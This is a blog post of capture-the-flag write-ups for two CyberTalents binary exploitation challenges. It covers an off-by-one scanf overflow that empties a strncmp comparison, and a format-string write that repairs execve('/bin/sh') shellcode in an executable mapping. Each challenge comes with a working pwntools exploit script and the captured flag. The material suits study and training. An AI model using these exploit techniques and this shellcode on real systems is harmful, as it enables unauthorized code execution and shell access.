Cybertalents - Pwn Challenges

Posted on Mar 24, 2024

Tricky

Overview

Challenge Category Points Solves Tags
Tricky pwn 50 5 off_by_one stack_bof

Join us in our super cool guessing game!

Checksec

[*] 'cybertalents/tricky/tricky'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

main

    ...
    p_argc = &argc;
    setgid(0);
    setuid(0);
    puts("hello there :D, did you came here for a flag? OK then guess it XD");
    puts("your guess?> ");
    if ( !fopen("./flag.txt", "r") )
        exit(-1);
    v3 = fread(flag, 1, 80);
    __isoc99_scanf("%80s", input, v3);
    if ( !strncmp(input, flag,80) )
    {
        puts("wow, wasn't expecting that!");
        win();
    }
    else
    {
        puts("Wrooong!, bad guess");
    }

The challenge basically opens the flag onto the flag stack buffer . and puts the input onto a stack buffer as well . let’s look at how the main stack looks like in ida

Stack

 Frame size: B0; Saved regs: 4; Purge: 0
...
-00000000000000B0 input            db 80 dup(?)
-0000000000000060 flag             db 80 dup(?)
-0000000000000010 strncmp_nbytes   dd ?
-000000000000000C flag_file_handle dd ?
...
+0000000000000008 argc             dd ?
+000000000000000C argv             dd ?                    ; offset
+0000000000000010 envp             dd ?                    ; offset
+0000000000000014
+0000000000000014 ; end of stack variables

so basically the input buffer is exactly 80 bytes and when it calls scanf it gives it a format “%80s” which means if we sent 80 bytes it will overflow onto the next buffer by one byte [the null terminator] . so we got an off-by-one error on our hands because scanf will read up to 80 bytes from us and add the null byte at the 81th byte . what can we do with it ?

GAME PLAN

  • We can overflow the input buffer and and effectively set the first byte in the flag buffer to a null byte (0x0).
  • set the first byte in our input buffer to (0x0) as well.
  • strncmp check pass since both strings are now empty.
  • profit

Exploit

from pwn import *
context.log_level = 'DEBUG'

os.chdir('/opt')

p = process('./tricky',stdin=PTY,stdout=PTY)

p.sendlineafter(b'your guess?> \n' , b'\0'*80)

p.interactive()

# Flag{S1mpl3_But_Vuln3rabl3!}

One shot

Overview

Challenge Category Points Solves Tags
One shot pwn 100 67 format_strings, x86_shellcoding

checksec

[*] 'cybertalents/oneshot/oneshot'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main

    ...
    exe_map = (char *)mmap(0xF77FF000, 32, 0, 34, 0, 0);
    v6 = mprotect(exe_map, 32, 7);
    if ( exe_map == (char *)-1 || v6 == -1 )
    {
        puts("mmap() or mprotect() failed. Please contact admin.");
        ((void (__stdcall *)(int))exit)(-1);
    }
    v3 = strlen(shellcode);
    strncpy(exe_map, shellcode, v3);
    *exe_map = 1;
    exe_map[1] = 2;
    printf("you have only one shot: ");
    fgets(v7, 0xFF, stdin);
    printf(v7);
    ((void (*)(void))exe_map)();
    return 0;

The challenge basically creates a new executable/writeable/readable map in it’s process . copies whatever is in the shellcode address into this memory and then modifies the shellcode in someway and executes that map . let’s look at the shellcode content

   0:    31 c0                    xor    eax,  eax
   2:    50                       push   eax
   3:    68 2f 2f 73 68           push   0x68732f2f
   8:    68 2f 62 69 6e           push   0x6e69622f
   d:    89 e3                    mov    ebx,  esp
   f:    50                       push   eax
  10:    53                       push   ebx
  11:    89 e1                    mov    ecx,  esp
  13:    b0 0b                    mov    al,  0xb
  15:    cd 80                    int    0x80

Nice . this is a valid way to do execve("/bin/sh",{"/bin/sh",NULL},0) but there’s one caveat here . the challenge modifies the first two bytes to 01 and 02 respectively once it copies them onto the map . so the new shellcode changes to this before execution

   0:    01 02                    add    DWORD PTR [edx],  eax
   2:    50                       push   eax
   3:    68 2f 2f 73 68           push   0x68732f2f
   8:    68 2f 62 69 6e           push   0x6e69622f
   d:    89 e3                    mov    ebx,  esp
   f:    50                       push   eax
  10:    53                       push   ebx
  11:    89 e1                    mov    ecx,  esp
  13:    b0 0b                    mov    al,  0xb
  15:    cd 80                    int    0x80

Which causes a SIGV . but all hope is not lost . the challenge gives us the ability to do call printf with arbitrary input limited to 0xff bytes. which is more than enuough to modify the shellcode and return it to it’s original condition.

Caveats

  • printf format string is limited to 0xff bytes so we can put too much into it . we need the payload to be as small as possible hence we gonna use %hn instead of %hhn.
  • edx needs to be cleared as well at the beginning of the shellcode . because it caused some problems for me.
  • argv in execve is not really necessary in here . we can omit it by just setting the second argument to 0x0.
  • fgets terminates on the newline char so our format string can’t have any \n in it.
  • The map address doesn’t change cause the challenge is asking for it by using the first argument to mmap.

GAME PLAN

  • rewrite the shellcode in the map using the format string.
  • profit.

Exploit

from pwn import *

context.arch = 'i386'

if args.GDB:
    p = gdb.debug('./oneshot',gdbscript='b* 0x08048757 \n c')
elif args.REMOTE:
    p = remote(*args.REMOTE.split(':'))
else:
    p = process('./oneshot')
    
off = 0x2c//4

shellcode = asm('''
    xor    edx,edx
    xor    eax,eax
    xor    ecx,ecx
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx, esp
''')

writes = {
    0xf77ff000: shellcode
}

payload = fmtstr_payload(off, writes,write_size_max='short',badbytes=b'\n')

assert len(payload) <= 254

p.sendlineafter(
    b'you have only one shot: ',
    payload
)
p.interactive()

# flag{format_string_hn_is_super_useful}